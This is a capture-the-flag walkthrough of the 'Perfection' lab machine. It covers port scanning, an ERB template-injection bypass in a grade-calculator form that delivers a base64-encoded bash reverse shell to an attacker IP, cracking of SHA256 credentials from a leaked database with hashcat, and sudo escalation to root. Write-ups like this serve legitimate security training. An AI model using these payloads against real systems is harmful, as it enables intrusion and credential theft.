MACHINE - PERFECTION

OPEN PORTS

```
$ nmap -sVC -T4 -Pn $IP
2/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 80:e4:79:e8:59:28:df:95:2d:ad:57:4a:46:04:ea:70 (ECDSA)
|_  256 e9:ea:0c:1d:86:13:ed:95:a9:d0:0b:c8:22:e4:cf:e9 (ED25519)
80/tcp open  http    nginx
|_http-title: Weighted Grade Calculator
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

INVESIGATING THE SITE

- Web server is `Nginx`
- Programming language is `Ruby`
- There are three tabs

1. Home (the current page)
2. About Us
3. Calculate your weighted grade

- The source code of the home page reveals a directory `images`
- Let's go to the `About Us` page
- The source code doesn't show nothing special except for `susan` and `tina` images
- Finally there is the last page with showed up with a POST form for calculating the grade
- As we can see from the source code the POST form is directed to `weighted-grade-calc`
- Summary

1. An `images` folder
2. An `weigthed-grade-calc` page which hadldes requests from `weighted-grade` page
3. Possible users `tina` and `susan`

- Before trying the form let's run a deeper directory enumeration

```
$ gobuster dir -u http://$IP/ -w /usr/share/wordlists/dirb/common.txt
```

- Unfortunately, it does not show anything more than we already know
- Interestingly, searching for `http://10.10.11.253/images` gives the following output

```
<truncated>
<body>
  <h2>Sinatra doesn’t know this ditty.</h2>
  <img src='http://127.0.0.1:3000/__sinatra__/404.png'>
  <div id="c">
    Try this:
    <pre>get &#x27;&#x2F;images&#x27; do
  &quot;Hello World&quot;
end
</pre>
  </div>
</body>
```

- From this output we knows that there is some service running locally on port 3000
- `Sinatra` is a web framework for Ruby, simpler and quicker than `Ruby on Rails` and others
- Hence, this might be a 404 Error for Sinatra, we will need further investigation
- Now, let's return back to the Calculator and let's setup a proxy for BurpSuite
- Fill the fields with non-malicious data and submit
- We can see that the page is updated dynamically with the result of the calculation
- The results come along with the names of all categories
- This will be our attack vector

OBTAINING A REVERSE SHELL

- First thing, we could try to run a simple XXS with `<script>alert(1)</script>`
- However, XXS is detected
- The fact that all categories are displayed in the resulting page is important
- On Ruby, like Python or PHP, we can embed source code into the page
- This source will also be evaluted.
- In Ruby, there is so-called *Embedded Ruby* (eRuby)
- To embed code in HTML we need to write `<% [ruby-code] %>`
- To execute and evaluate commands we need to write `<%= [code] %>`
- At this point, let's try to obtain a reverse shell using the following payload
- First obtain the base64 encoding of

```
$ echo "bash -i >& /dev/tcp/10.10.16.6/1234 0>&1" | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi42LzEyMzQgMD4mMQ==
```

- That we will call `rev64`

```
<%=system("echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi42LzEyMzQgMD4mMQ== | base64 -d | bash")%
```

- We will substitute this to one of the categories
- Obviously, we need to make all of this URL encoded
- The final result is

```
a%0A<%2A%3dsystem("echo+<rev64>|+base64+-d+|+bash")%2A>1
```

- I have also added `a%0` which is just `a\n` and the final 1 to make things harder to detect
- Open BurpSuite, setup proxy, make a correct request modify one of the categories with the payload
- Finally, forward the request and now we have a reverse shell logged as `susan`

```
susan@perfection:~/ruby_app$ cd ..
susan@perfection:~$ cat user.txt
<USER-FLAG>
```

- Inspecting `main.rb` we see why `a%0` and `1` must be added as extremes to the payload
- Malicious input is detected if it does not start and ends with values between [a-zA-Z0-9]
- This is the snippet of code releated

```
<truncated>
if params[:category1] =~ /^[a-zA-Z0-9\/ ]+$/ && <truncated>
    <truncated>
else
    @result = "Malicious Input blocked"
    erb :'weighted_grade_results'
end
```

PRIVILEGE ESCALATION

- To obtain the root flag, we need to escalate privileges
- In the `Migration` folder there is a file named `pupilpath_credentials.db`
- Let's download the file on the local machine
- First, make sure to start a simple HTTP server on the remote host
- Then, on the local host run

```
$ wget http://10.10.11.253:8000/pupilpath_credentials.db
```

- Running file inspection we see that it is just a SQlite 3.x database
- Opening with `DB Browser for SQLite` and going to `Browse Data` we see the following data

```
Susan Miller    abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f
Tina Smith  dd560928c97354e3c22972554c81901b74ad1b35f726a11654b78cd6fd8cec57
Harry Tyler d33a689526d49d32a01986ef5a1a3d2afc0aaee48978f06139779904af7a6393
David Lawrence  ff7aedd2f4512ee1848a3e18f86c4450c1c76f5c6e27cd8b0dc05557b344b87a
Stephen Locke   154a38b253b4e08cba818ff65eb4413f20518655950b9a39964c18d7737d9bb8
```

- Obv, we are interested in the Susan entry
- Using an online hash detector, we can easy see that it is a Raw-SHA256 hash (no salt)
- However, we will not able to crack it using hashcat.
- Let's run linpeas or linenum on the remote host looking for more information.
- It is interesting to find an email on `/var/spool/mail/susan` that reads

```
<truncated> The password format is:
{firstname}_{firstname backwards}_{randomly generated integer between 1 and 1,000,000,000}
<truncated>
```

- Let's use this format in hashcat

```
$ hashcat -m 1400 -a 3 hash susan_nasus_?d?d?d?d?d?d?d?d?d?d
```

- And we find password

```
<hash>:susan_nasus_4*******0
```

- Fortunately for us, susan user has sudo acess
- Just become root and read the `root/root.txt` file

```
susan@perfection:~$ sudo -s
Password: ...
root@perfection:~$ cat /root/root.txt
<ROOT-FLAG>
```